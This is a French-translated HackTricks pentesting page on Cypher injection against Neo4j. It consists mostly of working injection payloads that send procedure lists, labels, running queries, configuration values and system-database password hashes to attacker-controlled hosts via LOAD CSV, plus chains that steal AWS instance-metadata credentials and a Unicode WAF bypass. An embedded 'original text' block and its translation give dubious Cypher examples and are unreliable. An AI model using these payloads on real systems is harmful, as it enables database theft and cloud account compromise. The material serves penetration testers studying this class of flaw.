hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
2023-06-03 13:10:46 +00:00

22 KiB
Raw Blame History

Injection Cypher (neo4j)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injections Cypher courantes

Les déclarations MATCH et WHERE sont des scénarios courants.

Lorsque nous avons trouvé une injection, la façon de l'exploiter dépend de l'emplacement dans la requête. Ci-dessous se trouve un tableau de différents emplacements d'injection et d'exemples d'exploitation :

Requête injectable Injection
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

Notez la déclaration UNION :

  1. La raison pour laquelle UNION est nécessaire est que si la déclaration MATCH ne renvoie rien, le reste de la requête ne s'exécutera pas. Ainsi, toutes les choses malveillantes que nous pourrions faire là-bas ne s'exécuteront tout simplement pas.
  2. Nous ajoutons "RETURN 1" avant l'UNION afin que les deux parties renvoient les mêmes colonnes, ce qui est nécessaire pour que la requête s'exécute.

Alors, qu'en est-il de la déclaration "WITH" ?

En utilisant WITH, nous pouvons supprimer toutes les variables existantes. C'est important lorsque nous ne connaissons pas la requête (plus d'informations à ce sujet plus tard). Si notre charge utile essaie accidentellement de définir une variable qui existe déjà, la requête échouera.

Naturellement, si nous connaissons la requête et la base de données, aucune de ces techniques n'est requise. Nous pouvons même manipuler les données renvoyées pour à son tour manipuler le processus au lieu de simplement abuser du serveur.

Exfiltration HTTP

Il est possible d'utiliser la méthode suivante pour exfiltrer des informations vers le domaine contrôlé par l'attaquant :

LOAD CSV FROM 'https://attacker.com/'

Original text:

## Cypher Injection (Neo4j)

Cypher is a query language for Neo4j graph database. It is used to retrieve and manipulate data stored in the database. Cypher injection is a technique used to exploit vulnerabilities in web applications that use Neo4j as a backend database.

### Basic Injection

The basic injection technique involves injecting Cypher code into the application's input fields. For example, consider the following Cypher query:

MATCH (n) RETURN n


An attacker can inject this code into an input field to retrieve all nodes in the database:

MATCH (n) RETURN n;--


The semicolon is used to terminate the original query and the double dash is used to comment out the rest of the query.

### Union-Based Injection

Union-based injection is a technique used to retrieve data from multiple tables in a single query. In Neo4j, this can be achieved using the `UNION` keyword. For example, consider the following query:

MATCH (n:User) RETURN n.name, n.email


An attacker can inject the following code to retrieve data from another table:

MATCH (n:User) RETURN n.name, n.email UNION MATCH (n:Admin) RETURN n.name, n.password


This code retrieves the name and email of all users and the name and password of all admins.

### Blind Injection

Blind injection is a technique used to retrieve data without displaying it on the application's interface. This can be achieved using the `EXISTS` keyword. For example, consider the following query:

MATCH (n:User {username: 'admin', password: 'password'}) RETURN n.name


An attacker can inject the following code to check if the admin user exists:

MATCH (n:User) WHERE n.username='admin' AND EXISTS (MATCH (n) WHERE n.password='password') RETURN n.name


If the query returns a result, it means that the admin user exists and the password is correct.

Translated text:

## Injection Cypher (Neo4j)

Cypher est un langage de requête pour la base de données graphique Neo4j. Il est utilisé pour récupérer et manipuler les données stockées dans la base de données. L'injection Cypher est une technique utilisée pour exploiter les vulnérabilités des applications web qui utilisent Neo4j comme base de données backend.

### Injection de base

La technique d'injection de base consiste à injecter du code Cypher dans les champs d'entrée de l'application. Par exemple, considérez la requête Cypher suivante :

MATCH (n) RETURN n


Un attaquant peut injecter ce code dans un champ d'entrée pour récupérer tous les nœuds de la base de données :

MATCH (n) RETURN n;--


Le point-virgule est utilisé pour terminer la requête d'origine et les deux tirets sont utilisés pour commenter le reste de la requête.

### Injection basée sur l'union

L'injection basée sur l'union est une technique utilisée pour récupérer des données à partir de plusieurs tables dans une seule requête. Dans Neo4j, cela peut être réalisé en utilisant le mot-clé `UNION`. Par exemple, considérez la requête suivante :

MATCH (n:User) RETURN n.name, n.email


Un attaquant peut injecter le code suivant pour récupérer des données d'une autre table :

MATCH (n:User) RETURN n.name, n.email UNION MATCH (n:Admin) RETURN n.name, n.password


Ce code récupère le nom et l'e-mail de tous les utilisateurs et le nom et le mot de passe de tous les administrateurs.

### Injection aveugle

L'injection aveugle est une technique utilisée pour récupérer des données sans les afficher sur l'interface de l'application. Cela peut être réalisé en utilisant le mot-clé `EXISTS`. Par exemple, considérez la requête suivante :

MATCH (n:User {username: 'admin', password: 'password'}) RETURN n.name


Un attaquant peut injecter le code suivant pour vérifier si l'utilisateur admin existe :

MATCH (n:User) WHERE n.username='admin' AND EXISTS (MATCH (n) WHERE n.password='password') RETURN n.name


Si la requête renvoie un résultat, cela signifie que l'utilisateur admin existe et que le mot de passe est correct.
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

APOC

La première chose qu'un attaquant devrait vérifier est si APOC est installé. APOC (awesome procedures on Cypher) est un plugin extrêmement populaire, officiellement pris en charge pour Neo4j qui améliore considérablement ses capacités. APOC ajoute de nombreuses fonctions et procédures supplémentaires que les développeurs peuvent utiliser dans leur environnement. Les attaquants peuvent utiliser les différentes procédures et fonctions offertes par APOC pour effectuer des attaques plus avancées.

Procédures pour traiter les données et envoyer des requêtes HTTP

  • apoc.convert.toJson — convertit les nœuds, les cartes et plus encore en JSON
  • apoc.text.base64Encode — prend une chaîne et l'encode en base64

Il est possible de définir des en-têtes et d'envoyer d'autres méthodes que GET. Exemples:

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value 

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list 

{% endcode %}

Procédures pour évaluer les requêtes

  • apoc.cypher.runFirstColumnMany - une fonction qui renvoie les valeurs de la première colonne sous forme de liste
  • apoc.cypher.runFirstColumnSingle - une fonction qui renvoie la première valeur de la première colonne
  • apoc.cypher.run - une procédure qui exécute une requête et renvoie les résultats sous forme de carte
  • apoc.cypher.runMany - une procédure qui exécute une requête ou plusieurs requêtes séparées par un point-virgule et renvoie les résultats sous forme de carte. Les requêtes s'exécutent dans une transaction différente.

Extraction d'informations

Version du serveur

Une façon d'obtenir la version du serveur est d'utiliser la procédure dbms.components()

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

{% endcode %}

Obtenir la requête en cours d'exécution

Le plus simple est d'utiliser la procédure dmbs.listQueries().

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // 

{% endcode %}

Dans Neo4j 5, dbms.listQueries a été supprimé. À la place, nous pouvons utiliser "SHOW TRANSACTIONS". Il y a deux limitations majeures : les requêtes SHOW ne sont pas injectables et contrairement à listQueries, nous ne pouvons voir que la requête actuellement exécutée dans la transaction et pas toutes les requêtes.

Si APOC core est installé, nous pouvons l'utiliser pour exécuter SHOW TRANSACTIONS. Si nous exécutons dans la même transaction, seules les requêtes SHOW TRANSACTIONS seront retournées au lieu de la requête que nous essayons de voir. Nous pouvons utiliser apoc.cypher.runMany pour exécuter SHOW TRANSACTIONS, car contrairement aux autres fonctions et procédures apoc.cypher, elle s'exécute dans une transaction différente.

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

Obtenir les étiquettes

En utilisant la méthode intégrée db.labels, il est possible de lister toutes les étiquettes existantes.

{% code overflow="wrap" %}

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0 

Obtenir les propriétés d'une clé

La fonction intégrée keys peut être utilisée pour énumérer les clés des propriétés (Cela ne fonctionnera pas si l'un des champs est une liste ou une carte.).

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

{% endcode %}

Si APOC est disponible, il y a une meilleure façon de le faire en utilisant apoc.convert.toJson.

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // 

Obtenir des fonctions et des procédures

En utilisant les procédures intégrées dbms.functions() et dbms.procedures(), il est possible de lister toutes les fonctions et procédures.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

{% endcode %}

Ces procédures ont été supprimées dans Neo4j 5. Au lieu de cela, nous pouvons utiliser SHOW PROCEDURES et SHOW FUNCTIONS. Les requêtes SHOW ne peuvent pas être injectées.

Si APOC core est installé, nous pouvons utiliser l'une des procédures ou fonctions qui exécutent des requêtes pour lister les fonctions et procédures.

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value 
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // 

Obtenir la base de données système

La base de données système est une base de données Neo4j spéciale qui n'est normalement pas interrogeable. Elle contient des données intéressantes stockées sous forme de nœuds :

  • Bases de données
  • Rôles
  • Utilisateurs (y compris le hash du mot de passe !)

En utilisant APOC, il est possible de récupérer les nœuds, y compris les hashes. Seuls les administrateurs peuvent le faire, mais dans la version gratuite de Neo4j, il n'y a qu'un utilisateur administrateur et aucun autre utilisateur, il n'est donc pas rare de se retrouver en train de s'exécuter en tant qu'administrateur.

Utilisez la procédure apoc.systemdb.graph() pour récupérer les données.

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  

{% endcode %}

Neo4j utilise SimpleHash d'Apache Shiro pour générer le hash.

Le résultat est stocké sous forme de chaîne de valeurs séparées par des virgules :

  • Algorithme de hachage
  • Hash
  • Sel
  • Itérations

Par exemple :

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 

Obtenir les variables d'environnement

En utilisant APOC, il est possible de récupérer la variable d'environnement en utilisant la procédure apoc.config.map() ou apoc.config.list().

Ces procédures ne peuvent être utilisées que si elles sont incluses dans la liste des procédures non restreintes du fichier de configuration (dbms.security.procedures.unrestricted). Cela est plus courant qu'on ne le pense, et une recherche sur le nom du paramètre renvoie de nombreux sites et guides qui conseillent d'ajouter la valeur "apoc.*", ce qui permet toutes les procédures APOC.

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // 

Note : Dans Neo4j5, les procédures ont été déplacées vers APOC extended.

Point de terminaison de métadonnées du cloud AWS

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
  
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ 

IMDSv2

Nous devons spécifier les en-têtes et nous devons utiliser des méthodes autres que GET.

LOAD CSV ne peut pas faire l'une ou l'autre de ces choses, mais nous pouvons utiliser apoc.load.csvParams pour obtenir le jeton et le rôle, puis apoc.load.jsonParams pour obtenir les informations d'identification elles-mêmes. La raison pour laquelle nous utilisons csvParams est que la réponse n'est pas un JSON valide.

{% code overflow="wrap" %}

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token 

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role  

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value 

{% endcode %}

Contacter directement l'API AWS

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list 

{% endcode %}

Contournement de WAF

Injection Unicode

Dans Neo4j >= v4.2.0, il est souvent possible d'injecter de l'Unicode en utilisant "\uXXXX". Par exemple, vous pouvez utiliser cette méthode si le serveur essaie de supprimer des caractères tels que : , ", ` et ainsi de suite.

Cela peut ne pas fonctionner si une lettre suit la séquence d'échappement Unicode. Il est sûr d'ajouter un espace après ou une autre notation Unicode.

Par exemple, si le serveur supprime les apostrophes, et que la requête ressemble à ce qui suit :

MATCH (a: {name: '$INPUT'}) RETURN a 

Il est possible d'injecter :

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // 

{% endcode %}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥